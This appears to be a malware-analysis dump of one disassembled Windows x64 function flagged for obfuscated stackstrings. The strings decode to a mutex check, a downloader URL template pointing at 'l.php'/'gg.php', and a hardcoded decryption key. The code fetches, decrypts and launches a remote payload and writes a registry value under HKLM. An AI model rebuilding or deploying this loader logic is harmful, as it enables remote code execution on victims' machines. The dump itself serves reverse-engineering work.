Function at 0x140018de4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4a8]
sub rsp, 0x5a8
mov rax, qword [0x1400dc020]
xor rax, rsp
mov qword [rbp + 0x498], rax
mov r15, r9
mov qword [rbp - 0x58], r9
mov r14, r8
mov qword [rbp - 0x60], r8
mov rsi, rdx
mov qword [rbp - 0x68], rdx
mov r13, rcx
mov qword [rbp - 0x48], rcx
mov qword [rbp - 0x40], rdx
mov qword [rbp - 0x38], r8
mov qword [rbp - 0x30], r9
mov rbx, qword [rbp + 0x510]
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x50], rbx
xor eax, eax
mov dword [rsp + 0x58], eax
mov dword [rbp + 0x43b], 0x336c656e
mov word [rbp + 0x438], 0x656b
mov word [rbp + 0x442], 0x6c6c
mov byte [rbp + 0x444], al
mov word [rbp + 0x43f], 0x2e32
mov byte [rbp + 0x43a], WSACleanup
mov byte [rbp + 0x441], 0x64
mov dword [rbp + 0x3f0], 0x6e65704f
mov word [rbp + 0x3f9], 0x41
mov dword [rbp + 0x3f4], 0x6574754d
mov byte [rbp + 0x3f8], 0x78
lea rcx, [rbp + 0x438]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
xor ecx, ecx
test rax, rax
jne 0x140019046
mov rdx, qword [r13 + 0x18]
mov esi, 0x1000
lea edi, [rax + 0x10]
lea r14d, [rax + 0x27]
lea r15d, [rax + 0x1f]
cmp rdx, rdi
jb 0x140018f1e
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x140018f17
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a29f
mov rcx, r8
call fcn.140026e6c
xor ecx, ecx
mov qword [r13 + 0x10], rcx
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [r13 + 0x18], r12
mov byte [r13], cl
mov r13, qword [rbp - 0x68]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x140018f6a
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x140018f63
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a2a5
mov rcx, r8
call fcn.140026e6c
xor ecx, ecx
mov qword [r13 + 0x10], rcx
mov qword [r13 + 0x18], r12
mov byte [r13], cl
mov r13, qword [rbp - 0x60]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x140018fb0
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x140018fa9
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a2ab
mov rcx, r8
call fcn.140026e6c
xor ecx, ecx
mov qword [r13 + 0x10], rcx
mov qword [r13 + 0x18], r12
mov byte [r13], cl
mov r13, qword [rbp - 0x58]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x140018ff6
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x140018fef
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a221
mov rcx, r8
call fcn.140026e6c
xor ecx, ecx
mov qword [r13 + 0x10], rcx
mov qword [r13 + 0x18], r12
mov byte [r13], cl
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140019037
inc rdx
mov rcx, qword [rbx]
cmp rdx, rsi
jb 0x140019030
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a233
mov rcx, r8
call fcn.140026e6c
xor ecx, ecx
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], r12
mov byte [rbx], cl
jmp 0x140019e41
mov qword [rbp + 0xb8], rcx
mov qword [rbp + 0xc8], rcx
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xd0], r12
mov byte [rbp + 0xb8], cl
mov word [rbp + 0x453], 0x253d
mov dword [rbp + 0x45e], 0x3d646975
mov dword [rbp + 0x467], 0x73253d
mov dword [rbp + 0x456], 0x3d632d20
mov dword [rbp + 0x45a], 0x2d207325
mov dword [rbp + 0x448], 0x2073682d
mov dword [rbp + 0x462], 0x2d207325
mov dword [rbp + 0x44e], 0x69632d20
mov byte [rbp + 0x455], reloc.WS2_32.dll_WSAStartup
mov word [rbp + 0x44c], 0x732d
mov byte [rbp + 0x466], 0x67
mov byte [rbp + 0x452], 0x64
mov rcx, rsi
lea edi, [r12 + 1]
cmp qword [rsi + 0x18], rdi
jb 0x1400190e5
mov rcx, qword [rsi]
mov rax, r13
cmp qword [r13 + 0x18], rdi
jb 0x1400190f2
mov rax, qword [r13]
mov r9, r15
cmp qword [r15 + 0x18], rdi
jb 0x1400190fe
mov r9, qword [r15]
mov r8, r14
cmp qword [r14 + 0x18], rdi
jb 0x14001910a
mov r8, qword [r14]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0xb8]
call fcn.140022e30
lea rdx, [0x1400d1a28]
lea rcx, [rbp + 0x58]
call fcn.140023e68
nop
xor ebx, ebx
mov dword [rsp + 0x78], ebx
mov esi, 0x1000
lea r14d, [rbx + 0x27]
lea r15d, [rbx + 0x1f]
mov ecx, 1
call fcn.140033aa0
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp - 0x78], rax
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb0], r12
mov byte [rbp + 0x98], al
mov dword [rbp + 0x476], 0x73252f2f
mov word [rbp + 0x47a], 0x6c2f
mov word [rbp + 0x485], 0x2673
mov dword [rbp + 0x47d], 0x7068702e
mov dword [rbp + 0x488], 0x2673253d
mov dword [rbp + 0x471], 0x73707474
mov dword [rbp + 0x481], 0x253d693f
mov dword [rbp + 0x490], 0x64253d65
mov dword [rbp + 0x48c], 0x26323d78
mov byte [rbp + 0x487], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x47c], WSASetLastError
mov byte [rbp + 0x475], 0x3a
mov byte [rbp + 0x470], 0x68
mov byte [rbp + 0x494], al
mov dword [rbp + 0x400], 0x616f7373
mov dword [rbp + 0x404], 0x632e6d70
mov word [rbp + 0x409], WSACleanup
mov byte [rbp + 0x408], reloc.WS2_32.dll_WSAGetLastError
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x18]
call fcn.140023e68
or dword [rsp + 0x58], 1
mov r9, r13
cmp qword [r13 + 0x18], rdi
jb 0x14001923a
mov r9, qword [r13]
lea r8, [rbp + 0x18]
cmp qword [rbp + 0x30], rdi
cmovae r8, qword [rbp + 0x18]
and dword [rsp + 0x28], 0
lea rax, str.1af3edf2e0db4686841b9423a14fb240
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x98]
call fcn.140022e30
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, rdi
jb 0x1400192a0
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, rsi
jb 0x14001929b
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a23f
call fcn.140026e6c
cmp ebx, 3
jl 0x1400192f7
mov word [rbp + 0x3d8], 0x6c6c
mov dword [rbp + 0x3db], 0x706870
mov byte [rbp + 0x3da], 0x2e
xor ebx, ebx
mov word [rbp + 0x3d0], 0x6767
mov dword [rbp + 0x3d3], 0x706870
mov byte [rbp + 0x3d2], 0x2e
lea r8, [rbp + 0x3d0]
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x98]
call fcn.140021fe4
jmp 0x1400192f9
xor ebx, ebx
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x50], rbx
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x38]
call fcn.140021714
nop
mov word [rbp + 0x3e3], 0x656d
mov word [rbp + 0x3e0], 0x7426
mov dword [rbp + 0x3e5], 0x64253d
mov byte [rbp + 0x3e2], WSAGetLastError
call fcn.1400087ec
mov r8d, eax
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x38]
call fcn.140023268
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], rbx
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x18]
call fcn.140021714
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x80]
call fcn.14001a2b8
mov bl, al
xor eax, eax
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x90], r12
mov byte [rbp + 0x78], al
mov r8d, eax
test bl, bl
setne r8b
lea rdx, str.itcdr__d
lea rcx, [rbp + 0x78]
call fcn.140022e30
lea rax, [rbp + 0x18]
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x18]
call fcn.140021714
nop
xor eax, eax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov rdx, r13
lea rcx, [rbp - 0x28]
call fcn.140021714
nop
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x28]
call fcn.14001e670
test bl, bl
je 0x140019e66
mov r8d, dword [rbp - 0x78]
lea rdx, str.itcdsz__d
lea rcx, [rbp + 0x78]
call fcn.140022e30
lea rax, [rbp - 0x28]
mov qword [rsp + 0x48], rax
xor ebx, ebx
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rbx
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x28]
call fcn.140021714
nop
mov qword [rbp - 8], rbx
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], rbx
mov rdx, r13
lea rcx, [rbp - 8]
call fcn.140021714
nop
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 8]
call fcn.14001e670
cmp qword [rbp - 0x78], 0x100000
jb 0x140019f45
lea rcx, [rbp + 0xe0]
call fcn.14000a150
nop
mov byte [rbp + 0xe0], bl
mov word [rbp + 0x41d], 0x3231
mov dword [rbp + 0x42a], 0x31613564
mov dword [rbp + 0x417], 0x37393835
mov word [rbp + 0x42e], 0x3637
mov word [rbp + 0x425], 0x3230
mov dword [rbp + 0x411], 0x35336563
mov byte [rbp + 0x430], bl
mov word [rbp + 0x420], 0x3365
mov word [rbp + 0x428], 0x3933
mov word [rbp + 0x41b], 0x3635
mov word [rbp + 0x423], 0x3237
mov byte [rbp + 0x422], 0x30
mov byte [rbp + 0x427], 0x64
mov byte [rbp + 0x410], 0x32
mov word [rbp + 0x415], 0x3736
mov byte [rbp + 0x41f], 0x34
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], r12
mov byte [rbp - 0x28], bl
lea rax, [rbp + 0x410]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140019520
lea rcx, [rbp - 0x28]
cmp rbx, r12
ja 0x14001954c
mov qword [rbp - 0x18], rbx
mov r8, rbx
lea rdx, [rbp + 0x410]
call fcn.140028de0
mov byte [rbp + rbx - 0x28], 0
jmp 0x14001955c
lea r9, [rbp + 0x410]
mov rdx, rbx
call fcn.140021a48
nop
xor ebx, ebx
mov qword [rbp - 8], rbx
mov qword [rbp + 0x10], r12
mov qword [rbp + 8], rbx
lea r8, [rbp - 8]
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0xe0]
call fcn.140009f88
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, rdi
jb 0x1400195b3
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, rsi
jb 0x1400195ae
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a245
call fcn.140026e6c
mov rcx, qword [rbp - 0x78]
call fcn.1400273c4
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x50], ebx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8d, dword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0xe0]
call fcn.140009ce4
mov bl, al
mov rcx, qword [rbp - 0x80]
call fcn.1400337c0
test bl, bl
jne 0x14001970f
lea rax, [rbp - 0x28]
mov qword [rsp + 0x48], rax
lea rdx, str.itcdf
lea rcx, [rbp - 0x28]
call fcn.140023e68
mov rbx, rax
xor eax, eax
mov qword [rbp - 8], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov rdx, r13
lea rcx, [rbp - 8]
call fcn.140021714
nop
mov rdx, rbx
lea rcx, [rbp - 8]
call fcn.14001e670
mov rcx, qword [rsp + 0x60]
call fcn.140026e6c
nop
lea rcx, [rbp + 0xe0]
call fcn.140021ba4
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, rdi
jb 0x14001968c
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, rsi
jb 0x140019686
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a257
call fcn.140026e6c
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, rdi
jb 0x1400196c0
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, rsi
jb 0x1400196bb
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a25d
call fcn.140026e6c
and qword [rbp + 0x48], 0
mov qword [rbp + 0x50], r12
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, rdi
jb 0x140019f2d
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, rsi
jb 0x140019f28
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a227
jmp 0x140019f28
movsxd rbx, dword [rsp + 0x50]
mov rcx, rbx
call fcn.1400273c4
mov qword [rsp + 0x68], rax
mov r8, rbx
mov rdx, qword [rsp + 0x60]
mov rcx, rax
call fcn.140028de0
mov rcx, qword [rsp + 0x60]
call fcn.140026e6c
lea rcx, [rbp + 0x18]
call fcn.140016ec4
nop
xor r10d, r10d
mov dword [rsp + 0x54], 0x312e36
lea rcx, [rsp + 0x54]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r10b
jne 0x140019759
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], rdi
cmovae rcx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x28]
cmp r8, rax
jne 0x140019791
lea rdx, [rsp + 0x54]
call fcn.1400295a0
xor r10d, r10d
test eax, eax
mov dword [rsp + 0x60], 0xa
je 0x140019796
mov dword [rsp + 0x60], r10d
mov byte [rsp + 0x41], r10b
mov dword [rsp + 0x50], r10d
lea rax, [rbp + 0x58]
cmp qword [rbp + 0x70], rdi
setae r9b
mov r8, qword [rbp + 0x58]
cmovae rax, r8
lea rdx, [0x1400d1a28]
cmp rdx, rax
jb 0x140019891
lea rax, [rbp + 0x58]
test r9b, r9b
cmovne rax, r8
mov rcx, qword [rbp + 0x68]
add rax, rcx
cmp rdx, rax
ja 0x140019891
lea rax, [rbp + 0x58]
test r9b, r9b
cmovne rax, r8
sub rdx, rax
mov qword [rbp - 0x28], r10
mov qword [rbp - 0x18], r10
mov qword [rbp - 0x10], r12
cmp rcx, rdx
jb 0x14001a251
sub rcx, rdx
or rbx, 0xffffffffffffffff
cmp rcx, rbx
cmovb rbx, rcx
lea rax, [rbp + 0x58]
test r9b, r9b
cmovne rax, r8
lea r9, [rax + rdx]
lea rcx, [rbp - 0x28]
cmp rbx, r12
ja 0x14001983e
mov qword [rbp - 0x18], rbx
mov r8, rbx
mov rdx, r9
call fcn.140028de0
mov byte [rbp + rbx - 0x28], 0
jmp 0x140019846
mov rdx, rbx
call fcn.140021a48
or dword [rsp + 0x58], 2
mov rdx, qword [rbp + 0x70]
cmp rdx, rdi
jb 0x14001987f
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, rsi
jb 0x14001987a
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a24b
call fcn.140026e6c
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rbp + 0x58], xmm0
movups xmm1, xmmword [rbp - 0x18]
movups xmmword [rbp + 0x68], xmm1
jmp 0x14001989a
lea rcx, [rbp + 0x58]
call fcn.140021834
lea rdx, [0x1400d1a28]
lea rcx, [rbp - 8]
call fcn.140023e68
nop
cmp dword [rsp + 0x50], 0x14
setge byte [rsp + 0x40]
mov rbx, qword [rbp - 0x70]
mov qword [rsp + 0x48], rbx
cmp dword [rsp + 0x60], 0xa
jge 0x140019917
cmp qword [rbx + 0x18], rdi
jb 0x1400198d3
mov rax, qword [rbx]
mov qword [rsp + 0x48], rax
mov edx, 0x104
lea rcx, [rbp + 0xb8]
call fcn.140022570
mov r8, rax
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x28], al
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x58]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
call fcn.1400039d4
jmp 0x140019967
cmp qword [rbx + 0x18], rdi
jb 0x140019925
mov rax, qword [rbx]
mov qword [rsp + 0x48], rax
mov edx, 0x104
lea rcx, [rbp + 0xb8]
call fcn.140022570
mov r8, rax
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x28], al
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x58]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
call fcn.14001a400
mov bl, al
mov eax, dword [rsp + 0x60]
inc eax
xor ecx, ecx
cmp eax, 0x14
cmovl ecx, eax
mov dword [rsp + 0x60], ecx
lea rcx, [rbp + 0xb8]
call fcn.140023a54
test bl, bl
jne 0x140019997
mov ecx, 0x1f4
call fcn.14001f860
jmp 0x1400199e3
xor ebx, ebx
lea rcx, [rbp - 0x28]
call fcn.140023194
nop
cmp qword [rax + 0x18], rdi
jb 0x1400199ac
mov rax, qword [rax]
mov r8, rax
xor edx, edx
mov ecx, 0x100000
call qword [rsp + reloc.WS2_32.dll_WSASetLastError]
mov qword [rsp + 0x48], rax
lea rcx, [rbp - 0x28]
call fcn.14002189c
mov rax, qword [rsp + 0x48]
test rax, rax
jne 0x140019a03
mov ecx, 0xc8
call fcn.14001f860
inc ebx
cmp ebx, 0xa
jl 0x140019999
lea rcx, [rbp - 8]
call fcn.14002189c
mov ecx, dword [rsp + 0x50]
inc ecx
mov dword [rsp + 0x50], ecx
cmp ecx, 0x28
jge 0x140019a18
xor r10d, r10d
jmp 0x1400197a0
mov rcx, rax
call fcn.140007a70
mov bl, 1
lea rcx, [rbp - 8]
call fcn.14002189c
jmp 0x140019a1c
mov bl, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x68]
call fcn.140026e6c
movzx r8d, bl
lea rdx, str.itcmr__d
lea rcx, [rbp + 0x78]
call fcn.140022e30
lea rax, [rbp - 8]
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rbp - 8], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 8]
call fcn.140021714
nop
xor eax, eax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov rdx, r13
lea rcx, [rbp - 0x28]
call fcn.140021714
nop
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x28]
call fcn.14001e670
nop
lea rcx, [rbp + 0x18]
call fcn.14002189c
nop
lea rcx, [rbp + 0xe0]
call fcn.140021ba4
test bl, bl
je 0x140019e6f
mov rdx, qword [rbp + 0x90]
cmp rdx, rdi
jb 0x140019ade
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, rsi
jb 0x140019ad8
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a257
call fcn.140026e6c
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, rdi
jb 0x140019b12
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, rsi
jb 0x140019b0d
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a25d
call fcn.140026e6c
and qword [rbp + 0x48], 0
mov qword [rbp + 0x50], r12
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, rdi
jb 0x140019b59
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, rsi
jb 0x140019b54
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a227
call fcn.140026e6c
xor ebx, ebx
mov r12, qword [rsp + 0x70]
lea rcx, [rbp - 8]
call fcn.140023194
nop
cmp qword [rax + 0x18], rdi
jb 0x140019b73
mov rax, qword [rax]
mov r8, rax
xor edx, edx
mov ecx, 0x100000
call r12
mov qword [rsp + 0x70], rax
lea rcx, [rbp - 8]
call fcn.14002189c
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x140019bb4
mov rcx, rax
call fcn.140007a70
mov ecx, 0xfa
call fcn.14001f860
inc ebx
cmp ebx, 0xf0
jl 0x140019b60
lea rax, [rbp + 0x18]
mov qword [rsp + 0x70], rax
lea rdx, str.itcbir
lea rcx, [rbp + 0x18]
call fcn.140023e68
mov rbx, rax
xor eax, eax
mov qword [rbp - 8], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov rdx, r13
lea rcx, [rbp - 8]
call fcn.140021714
nop
mov rdx, rbx
lea rcx, [rbp - 8]
call fcn.14001e670
call fcn.14001d4b4
call fcn.140008de4
mov dword [0x1400e42e4], eax
mov dword [rsp + 0x5c], 0x6d7463
xor ebx, ebx
lea rdx, [0x1400d1d20]
lea rcx, [rbp - 8]
call fcn.140014f28
nop
cmp qword [rax + 0x18], rdi
lea r12d, [rbx + 0xf]
jb 0x140019c2f
mov rax, qword [rax]
mov r9d, 4
mov dword [rsp + 0x28], r9d
lea rcx, [0x1400e42e4]
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x5c]
mov rdx, rax
mov rcx, 0xffffffff80000002
call fcn.1400133d4
nop
lea rcx, [rbp - 8]
call fcn.14002189c
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, rdi
jb 0x140019c99
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, rsi
jb 0x140019c94
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a239
call fcn.140026e6c
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x70], r12
mov byte [rbp + 0x58], bl
mov rdx, qword [rbp + 0xd0]
cmp rdx, rdi
jb 0x140019cde
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, rsi
jb 0x140019cd9
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a299
call fcn.140026e6c
mov qword [rbp + 0xc8], rbx
mov qword [rbp + 0xd0], r12
mov byte [rbp + 0xb8], bl
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x140019d26
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x140019d21
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a29f
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r12
mov byte [r13], bl
mov r13, qword [rbp - 0x68]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x140019d6a
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x140019d65
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a2a5
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r12
mov byte [r13], bl
mov r13, qword [rbp - 0x60]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x140019dae
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x140019da9
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a2ab
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r12
mov byte [r13], bl
mov r13, qword [rbp - 0x58]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x140019df2
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x140019ded
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a221
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r12
mov byte [r13], bl
mov rbx, qword [rbp - 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140019e35
inc rdx
mov rcx, qword [rbx]
cmp rdx, rsi
jb 0x140019e30
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a233
mov rcx, r8
call fcn.140026e6c
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], r12
mov byte [rbx], 0
xor al, al
mov rcx, qword [rbp + 0x498]
xor rcx, rsp
call fcn.140026bb0
add rsp, 0x5a8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rcx, qword [rbp - 0x80]
call fcn.1400337c0
mov ecx, 0xc8
call fcn.14001f860
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, rdi
jb 0x140019eb2
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, rsi
jb 0x140019eac
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a287
call fcn.140026e6c
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, rdi
jb 0x140019ee6
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, rsi
jb 0x140019ee1
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a28d
call fcn.140026e6c
and qword [rbp + 0x48], 0
mov qword [rbp + 0x50], r12
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, rdi
jb 0x140019f2d
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, rsi
jb 0x140019f28
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a293
call fcn.140026e6c
mov ebx, dword [rsp + 0x78]
inc ebx
mov dword [rsp + 0x78], ebx
cmp ebx, 6
jge 0x140019b59
jmp 0x14001914b
lea rax, [rbp - 0x28]
mov qword [rsp + 0x70], rax
lea rdx, str.itcszf
lea rcx, [rbp - 0x28]
call fcn.140023e68
mov rbx, rax
xor eax, eax
mov qword [rbp - 8], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov rdx, r13
lea rcx, [rbp - 8]
call fcn.140021714
nop
mov rdx, rbx
lea rcx, [rbp - 8]
call fcn.14001e670
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, rdi
jb 0x140019fc1
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, rsi
jb 0x140019fbb
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a257
call fcn.140026e6c
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, rdi
jb 0x140019ff5
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, rsi
jb 0x140019ff0
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a25d
call fcn.140026e6c
xor ebx, ebx
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x50], r12
mov byte [rbp + 0x38], bl
mov rdx, qword [rbp + 0xb0]
cmp rdx, rdi
jb 0x14001a03c
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, rsi
jb 0x14001a037
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a227
call fcn.140026e6c
